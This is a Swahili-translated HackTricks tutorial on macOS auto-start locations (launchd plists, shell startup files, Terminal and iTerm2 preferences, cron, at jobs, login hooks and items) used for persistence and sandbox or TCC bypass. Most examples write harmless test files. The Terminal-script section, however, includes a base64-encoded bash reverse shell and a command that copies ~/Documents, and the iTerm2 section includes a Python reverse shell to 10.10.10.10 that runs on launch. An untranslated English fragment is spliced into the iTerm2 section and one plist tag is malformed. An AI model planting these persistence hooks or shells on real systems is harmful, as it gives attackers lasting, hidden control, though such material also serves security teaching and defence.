macOS Auto Start

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Sehemu hii inategemea sana safu ya blogu Zaidi ya LaunchAgents nzuri, lengo ni kuongeza Maeneo zaidi ya Kuanza Kiotomatiki (ikiwezekana), kuonyesha njia zipi bado zinafanya kazi leo na toleo la hivi karibuni la macOS (13.4) na kueleza ruhusa inayohitajika.

Kupuuza Sanduku la Mchanga

Hapa unaweza kupata maeneo ya kuanza yanayofaa kwa kupuuza sanduku la mchanga ambayo inakuruhusu tu kutekeleza kitu kwa kuandika kwenye faili na kungojea kwa kitendo cha kawaida sana, kiasi cha wakati kilichopangwa au kitendo unachoweza kawaida kufanya kutoka ndani ya sanduku la mchanga bila kuhitaji ruhusa ya msingi.

Launchd

  • Inafaa kwa kupuuza sanduku la mchanga:

  • Kupuuza TCC: 🔴

Maeneo

  • /Library/LaunchAgents

  • Kitendo cha Kuanza: Reboot

  • Inahitaji Root

  • /Library/LaunchDaemons

  • Kitendo cha Kuanza: Reboot

  • Inahitaji Root

  • /System/Library/LaunchAgents

  • Kitendo cha Kuanza: Reboot

  • Inahitaji Root

  • /System/Library/LaunchDaemons

  • Kitendo cha Kuanza: Reboot

  • Inahitaji Root

  • ~/Library/LaunchAgents

  • Kitendo cha Kuanza: Kuingia tena

  • ~/Library/LaunchDemons

  • Kitendo cha Kuanza: Kuingia tena

Maelezo & Udukuzi

launchd ni mchakato wa kwanza unaoendeshwa na kernel ya OX S wakati wa kuanza na wa mwisho kumaliza wakati wa kuzima. Daima inapaswa kuwa na PID 1. Mchakato huu utasoma na kutekeleza mipangilio iliyotajwa katika plists ya ASEP katika:

  • /Library/LaunchAgents: Mawakala wa mtumiaji waliowekwa na msimamizi

  • /Library/LaunchDaemons: Daemons za mfumo zilizowekwa na msimamizi

  • /System/Library/LaunchAgents: Mawakala wa mtumiaji zinazotolewa na Apple.

  • /System/Library/LaunchDaemons: Daemons za mfumo zinazotolewa na Apple.

Wakati mtumiaji anapoingia, plists zilizoko katika /Users/$USER/Library/LaunchAgents na /Users/$USER/Library/LaunchDemons zinaanza na ruhusa za watumiaji walioingia.

Tofauti kuu kati ya mawakala na daemons ni kwamba mawakala hupakiwa wakati mtumiaji anaingia na daemons hupakiwa wakati wa kuanza kwa mfumo (kwa kuwa kuna huduma kama ssh ambayo inahitaji kutekelezwa kabla ya mtumiaji yeyote kupata ufikiaji wa mfumo). Pia mawakala wanaweza kutumia GUI wakati daemons wanahitaji kukimbia kwenye hali ya nyuma.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Kuna matukio ambapo mawakala anahitaji kutekelezwa kabla ya mtumiaji kuingia, haya huitwa PreLoginAgents. Kwa mfano, hii ni muhimu kutoa teknolojia ya msaada wakati wa kuingia. Wanaweza kupatikana pia katika /Library/LaunchAgents (ona hapa mfano).

Faili mpya za usanidi za Daemons au Agents zitapakia baada ya kuanza upya au kutumia launchctl load <target.plist> Pia ni inawezekana kupakia faili za .plist bila kuwa na kipengee hicho kwa kutumia launchctl -F <file> (hata hivyo faili hizo za plist hazitapakia moja kwa moja baada ya kuanza upya). Pia ni inawezekana kufuta kwa kutumia launchctl unload <target.plist> (mchakato ulionakiliwa na hiyo itakomeshwa),

Ili kudhibitisha kwamba hakuna kitu (kama kubadilisha) kinazuia Mwakala au Daemon kutekelezwa endesha: sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist

Orodhesha mawakala na daemons wote waliopakiwa na mtumiaji wa sasa:

launchctl list

Ikiwa plist inamilikiwa na mtumiaji, hata kama iko katika folda za mfumo wa daemuni, kazi itatekelezwa kama mtumiaji na si kama root. Hii inaweza kuzuia baadhi ya mashambulizi ya uongezaji wa mamlaka.

faili za kuanza kwa shell

Maelezo: https://theevilbit.github.io/beyond/beyond_0001/ Maelezo (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Inatumika kukiuka sanduku la mchanga:

  • Kukiuka TCC:

  • Lakini unahitaji kupata programu na kukiuka TCC ambayo inatekeleza shell ambayo inapakia faili hizi

Maeneo

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

  • Kitendo: Fungua terminal na zsh

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

  • Kitendo: Fungua terminal na zsh

  • Inahitaji ruhusa ya root

  • ~/.zlogout

  • Kitendo: Toka kwenye terminal na zsh

  • /etc/zlogout

  • Kitendo: Toka kwenye terminal na zsh

  • Inahitaji ruhusa ya root

  • Huenda kuna zaidi katika: man zsh

  • ~/.bashrc

  • Kitendo: Fungua terminal na bash

  • /etc/profile (haikufanya kazi)

  • ~/.profile (haikufanya kazi)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

  • Kitendo: Inatarajiwa kuzinduliwa na xterm, lakini haiko imewekwa na hata baada ya kuwekwa kosa hili linatokea: xterm: DISPLAY is not set

Maelezo & Utekaji

Wakati wa kuanzisha mazingira ya shell kama zsh au bash, faili za kuanza zinatekelezwa. macOS kwa sasa inatumia /bin/zsh kama shell ya msingi. Shell hii inafikiwa moja kwa moja wakati programu ya Terminal inazinduliwa au wakati kifaa kinapatawa kupitia SSH. Ingawa bash na sh pia zipo katika macOS, wanahitaji kuitwa wazi ili kutumika.

Ukurasa wa man wa zsh, ambao tunaweza kusoma kwa kutumia man zsh una maelezo marefu ya faili za kuanza.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Programu Zilizofunguliwa tena

Kuweka mazingira ya kutumia na kujiondoa na kuingia tena au hata kuzima haikufanya kazi kwangu kutekeleza programu. (Programu haikuwa inatekelezwa, labda inahitaji kuwa ikifanya kazi wakati hatua hizi zinatekelezwa)

Maelezo: https://theevilbit.github.io/beyond/beyond_0021/

  • Inatumika kukiuka sanduku la mchanga:

  • Kukiuka TCC: 🔴

Mahali

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • Kichocheo: Kuanza upya kufungua tena programu

Maelezo na Utekaji

Programu zote za kufunguliwa tena ziko ndani ya plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Kwa hivyo, ili programu zilizofunguliwa tena ziweze kuzindua yako, unahitaji tu kuongeza programu yako kwenye orodha.

UUID inaweza kupatikana kwa kuorodhesha saraka hiyo au kwa kutumia ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Ili kuangalia programu zitakazofunguliwa tena unaweza kufanya:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Ili kuongeza programu kwenye orodha hii unaweza kutumia:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Mapendeleo ya Terminali

  • Inatumika kukiuka sanduku la mchanga:

  • Kukiuka TCC:

  • Matumizi ya Terminali kuwa na ruhusa za FDA za mtumiaji anayetumia

Mahali

  • ~/Library/Preferences/com.apple.Terminal.plist

  • Kichocheo: Fungua Terminal

Maelezo na Utekaji

Katika ~/Library/Preferences kuna mapendeleo ya mtumiaji katika Programu. Baadhi ya mapendeleo haya yanaweza kuwa na usanidi wa kutekeleza programu/zana nyingine.

Kwa mfano, Terminali inaweza kutekeleza amri wakati wa Kuanza:

Usanidi huu unajitokeza katika faili ~/Library/Preferences/com.apple.Terminal.plist kama ifuatavyo:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Jadi, ikiwa plist ya mapendeleo ya terminali katika mfumo inaweza kubadilishwa, basi kazi ya open inaweza kutumika kufungua terminali na amri hiyo itatekelezwa.

Unaweza kuongeza hii kutoka kwa cli kwa:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Skripti za Terminali / Vipengele vingine vya faili

  • Inatumika kukiuka sanduku la mchanga:

  • Kukiuka TCC:

  • Matumizi ya Terminali kuwa na ruhusa za FDA za mtumiaji anayetumia

Mahali

  • Mahali popote

  • Kichocheo: Fungua Terminali

Maelezo & Utekaji

Ikiwa utaunda skripti ya .terminal na kuifungua, programu ya Terminali itaitwa moja kwa moja kutekeleza amri zilizotajwa humo. Ikiwa programu ya Terminali ina ruhusa maalum (kama vile TCC), amri yako itatekelezwa na ruhusa hizo maalum.

Jaribu hili na:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Unaweza pia kutumia vifaa vya .command, .tool, na maudhui ya skripti za kawaida za shell na zitafunguliwa na Terminal.

Ikiwa terminal ina Upatikanaji Kamili wa Diski, itakuwa na uwezo wa kukamilisha hatua hiyo (kumbuka kwamba amri iliyotekelezwa itaonekana kwenye dirisha la terminal).

Programu za Sauti

Maelezo: https://theevilbit.github.io/beyond/beyond_0013/ Maelezo: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Inatumika kukiuka sanduku la mchanga:

  • Kukiuka TCC: 🟠

  • Unaweza kupata ufikiaji wa ziada wa TCC

Mahali

  • /Library/Audio/Plug-Ins/HAL

  • Inahitajika mizizi

  • Kichocheo: Anza upya coreaudiod au kompyuta

  • /Library/Audio/Plug-ins/Components

  • Inahitajika mizizi

  • Kichocheo: Anza upya coreaudiod au kompyuta

  • ~/Library/Audio/Plug-ins/Components

  • Kichocheo: Anza upya coreaudiod au kompyuta

  • /System/Library/Components

  • Inahitajika mizizi

  • Kichocheo: Anza upya coreaudiod au kompyuta

Maelezo

Kulingana na maelezo ya awali, ni inawezekana kuchakata programu za sauti na kuzipakia.

Programu za QuickLook

Maelezo: https://theevilbit.github.io/beyond/beyond_0028/

  • Inatumika kukiuka sanduku la mchanga:

  • Kukiuka TCC: 🟠

  • Unaweza kupata ufikiaji wa ziada wa TCC

Mahali

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Maelezo & Utekaji

Programu za QuickLook zinaweza kutekelezwa unapopata kielelezo cha awali cha faili (bonyeza nafasi na faili iliyochaguliwa kwenye Finder) na programu-jalizi inayounga mkono aina hiyo ya faili imewekwa.

Inawezekana kuchakata programu yako mwenyewe ya QuickLook, iweke kwenye mojawapo ya maeneo yaliyotajwa hapo awali ili kuipakia kisha nenda kwenye faili inayoungwa mkono na bonyeza nafasi kuichokoza.

Vifungo vya Kuingia/Kutoka

Hii haikufanya kazi kwangu, wala na Kuingia kwa mtumiaji wala na Kutoka kwa mizizi

Maelezo: https://theevilbit.github.io/beyond/beyond_0022/

  • Inatumika kukiuka sanduku la mchanga:

  • Kukiuka TCC: 🔴

Mahali

  • Unahitaji kuweza kutekeleza kitu kama defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh

  • Imepo katika ~/Library/Preferences/com.apple.loginwindow.plist

Zimepitwa na wakati lakini zinaweza kutumika kutekeleza amri wakati mtumiaji anapoingia.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Hii mipangilio inahifadhiwa katika /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Ili kufuta hiyo:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

Root user one imehifadhiwa katika /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Kizuizi cha Sanduku la Mchanga Kwa Masharti

Hapa unaweza kupata maeneo ya kuanzia yanayofaa kwa kizuizi cha sanduku la mchanga ambacho kinakuwezesha kutekeleza kitu kwa kuandika kwenye faili na kutarajia hali sio za kawaida kama programu maalum zilizosanikishwa, hatua au mazingira ya mtumiaji "sio wa kawaida".

Cron

Maelezo: https://theevilbit.github.io/beyond/beyond_0004/

  • Inatumika kwa kizuizi cha sanduku la mchanga:

  • Hata hivyo, unahitaji kuweza kutekeleza crontab binary

  • Au uwe root

  • Kizuizi cha TCC: 🔴

Mahali

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • Root inahitajika kwa ufikiaji wa kuandika moja kwa moja. Hakuna root inayohitajika ikiwa unaweza kutekeleza crontab <faili>

  • Kichocheo: Inategemea kazi ya cron

Maelezo & Utekaji

Pata orodha ya kazi za cron za mtumiaji wa sasa na:

crontab -l

Unaweza pia kuona kazi zote za cron za watumiaji katika /usr/lib/cron/tabs/ na /var/at/tabs/ (inahitaji ruhusa ya msingi).

Katika MacOS, folda kadhaa zinazotekeleza hati kwa frekwensi fulani zinaweza kupatikana katika:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Hapa ndipo unaweza kupata kazi za cron za kawaida, kazi za at (ambazo hazitumiwi sana) na kazi za kipindi (zinazotumiwa hasa kwa kusafisha faili za muda). Kazi za kipindi za kila siku zinaweza kutekelezwa kwa mfano na: periodic daily.

Kuongeza programu ya kazi ya cron ya mtumiaji kiotomatiki inawezekana kutumia:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Maelezo: https://theevilbit.github.io/beyond/beyond_0002/

  • Inatumika kwa kuzidi sandbox:

  • Kizuizi cha TCC:

  • iTerm2 hutumika kuwa na ruhusa za TCC zilizoidhinishwa

Maeneo

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • Kichocheo: Fungua iTerm

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • Kichocheo: Fungua iTerm

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • Kichocheo: Fungua iTerm

Maelezo & Utekaji

Scripts zilizohifadhiwa katika ~/Library/Application Support/iTerm2/Scripts/AutoLaunch zitatekelezwa. Kwa mfano:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

Launch Agents

Launch Agents are used to run processes when a user logs in. They are located in ~/Library/LaunchAgents/ and /Library/LaunchAgents/.

Launch Daemons

Launch Daemons are used to run processes at system boot or login. They are located in /Library/LaunchDaemons/ and /System/Library/LaunchDaemons/.

Login Items

Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Skripti ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt pia itatekelezwa:

do shell script "touch /tmp/iterm2-autolaunchscpt"

Faili za mapendeleo ya iTerm2 zilizoko katika ~/Library/Preferences/com.googlecode.iterm2.plist zinaweza kuonyesha amri ya kutekeleza wakati terminali ya iTerm2 inapo funguliwa.

Mazingira haya yanaweza kusanidiwa katika mipangilio ya iTerm2:

Na amri inaonekana katika mapendeleo:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Unaweza kuweka amri ya kutekelezwa kwa:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Kuna uwezekano mkubwa wa kuwa kuna njia nyingine za kutumia mipangilio ya iTerm2 kutekeleza amri za kupindukia.

xbar

Maelezo: https://theevilbit.github.io/beyond/beyond_0007/

  • Inatumika kukiuka sanduku la mchanga:

  • Lakini xbar lazima iwe imewekwa

  • Kizuizi cha TCC:

  • Inahitaji ruhusa ya Ufikivu

Mahali

  • ~/Library/Application\ Support/xbar/plugins/

  • Kichocheo: Mara tu xbar inapoendeshwa

Maelezo

Ikiwa programu maarufu ya xbar imewekwa, inawezekana kuandika script ya shell katika ~/Library/Application\ Support/xbar/plugins/ ambayo itatekelezwa wakati xbar inapoanzishwa:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Maelezo: https://theevilbit.github.io/beyond/beyond_0008/

  • Inatumika kwa kuzidi sandbox:

  • Lakini Hammerspoon lazima iwe imewekwa

  • Kizuizi cha TCC:

  • Inahitaji ruhusa za Ufikivu

Mahali

  • ~/.hammerspoon/init.lua

  • Kichocheo: Mara tu Hammerspoon inapoendeshwa

Maelezo

Hammerspoon inafanya kazi kama jukwaa la kiotomatiki kwa macOS, ikiboresha lugha ya skripti ya LUA kwa shughuli zake. Kwa umuhimu, inasaidia uingizaji wa nambari kamili ya AppleScript na utekelezaji wa skripti za shell, ikiboresha uwezo wake wa skripti kwa kiasi kikubwa.

Programu hiyo inatafuta faili moja, ~/.hammerspoon/init.lua, na wakati inapoanzishwa skripti itatekelezwa.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Inatumika kukiuka sanduku la mchanga:

  • Lakini BetterTouchTool lazima iwe imewekwa

  • Kukiuka TCC:

  • Inahitaji ruhusa za Ufikiaji wa Utoaji wa Utoaji na Ufikiaji wa Urahisi

Mahali

  • ~/Library/Application Support/BetterTouchTool/*

Chombo hiki huruhusu kuonyesha programu au hati za kutekelezwa wakati baadhi ya mkato unapigwa. Mshambuliaji anaweza kuweza kusanidi mkato wake mwenyewe na hatua ya kutekeleza katika hifadhidata ili kufanya kutekeleza nambari ya kupindukia (mkato unaweza kuwa tu kubonyeza kitufe).

Alfred

  • Inatumika kukiuka sanduku la mchanga:

  • Lakini Alfred lazima iwe imewekwa

  • Kukiuka TCC:

  • Inahitaji ruhusa za Utoaji wa Utoaji, Urahisi na hata Ufikiaji wa Diski kamili

Mahali

  • ???

Inaruhusu kuunda mifumo ya kazi ambayo inaweza kutekeleza nambari wakati hali fulani zinakutana. Kimsingi inawezekana kwa mshambuliaji kuunda faili ya mfumo wa kazi na kufanya Alfred iipakie (inahitajika kulipa toleo la malipo kutumia mifumo ya kazi).

SSHRC

Maelezo: https://theevilbit.github.io/beyond/beyond_0006/

  • Inatumika kukiuka sanduku la mchanga:

  • Lakini ssh inahitaji kuwezeshwa na kutumiwa

  • Kukiuka TCC:

  • SSH hutumia kupata Ufikiaji wa Diski kamili

Mahali

  • ~/.ssh/rc

  • Kichocheo: Ingia kupitia ssh

  • /etc/ssh/sshrc

  • Inahitaji mizizi

  • Kichocheo: Ingia kupitia ssh

Kugeuza ssh kuwasha kunahitaji Ufikiaji wa Diski kamili:

sudo systemsetup -setremotelogin on

Maelezo & Utekaji

Kwa chaguo-msingi, isipokuwa PermitUserRC no katika /etc/ssh/sshd_config, wakati mtumiaji anapoingia kupitia SSH hati /etc/ssh/sshrc na ~/.ssh/rc zitatekelezwa.

Vitu vya Kuingia

Andika: https://theevilbit.github.io/beyond/beyond_0003/

  • Inatumika kukiuka sanduku la mchanga:

  • Lakini unahitaji kutekeleza osascript na vigezo

  • Kukiuka TCC: 🔴

Maeneo

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • Kichocheo: Kuingia

  • Malipo ya utekelezaji yaliyohifadhiwa yanaita osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • Kichocheo: Kuingia

  • Inahitaji Mzizi

Maelezo

Katika Mapendeleo ya Mfumo -> Watumiaji & Vikundi -> Vitu vya Kuingia unaweza kupata vitengo vitakavyotekelezwa wakati mtumiaji anapoingia. Inawezekana kuziorodhesha, kuongeza na kuondoa kutoka kwenye mstari wa amri:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Hizi vitu hifadhiwa kwenye faili ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Vitu vya kuingia vinaweza pia kudhihirishwa kwa kutumia API SMLoginItemSetEnabled ambayo itahifadhi usanidi katika /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP kama Kipengee cha Kuingia

(Angalia sehemu iliyopita kuhusu Vitu vya Kuingia, hii ni nyongeza)

Ikiwa unahifadhi faili ya ZIP kama Kipengee cha Kuingia Archive Utility itaifungua na ikiwa zip ilihifadhiwa kwa mfano katika ~/Library na ilikuwa na Folda LaunchAgents/file.plist na mlango wa nyuma, folda hiyo itaundwa (haipo kwa chaguo-msingi) na plist itaongezwa ili wakati wa kuingia tena, mlango wa nyuma ulioonyeshwa kwenye plist utatekelezwa.

Chaguo lingine lingekuwa kuunda faili .bash_profile na .zshenv ndani ya nyumbani kwa mtumiaji hivyo ikiwa folda ya LaunchAgents tayari ipo hii mbinu bado itafanya kazi.

At

Maelezo: https://theevilbit.github.io/beyond/beyond_0014/

  • Inatumika kukiuka sanduku la mchanga:

  • Lakini unahitaji kutekeleza at na lazima iwe imezimwa

  • Kukiuka TCC: 🔴

Mahali

  • Unahitaji kutekeleza at na lazima iwe imezimwa

Maelezo

Kazi za at zinabuniwa kwa ajili ya kupanga kazi za mara moja zitekelezwe wakati fulani. Tofauti na kazi za cron, kazi za at zinaondolewa moja kwa moja baada ya utekelezaji. Ni muhimu kutambua kuwa kazi hizi ni thabiti kupitia kuanzishwa upya kwa mfumo, hivyo zinaweza kuwa na wasiwasi wa usalama chini ya hali fulani.

Kwa chaguo la msingi zimezimwa lakini mtumiaji wa root anaweza kuwawezesha kwa:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Hii itaunda faili ndani ya saa 1:

echo "echo 11 > /tmp/at.txt" | at now+1

Angalia foleni ya kazi kwa kutumia atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Hapo juu tunaweza kuona kazi mbili zilizopangwa. Tunaweza kuchapisha maelezo ya kazi kwa kutumia at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

Ikiwa kazi za AT hazijawezeshwa, kazi zilizoundwa hazitafanyika.

Faili za kazi zinaweza kupatikana kwenye /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ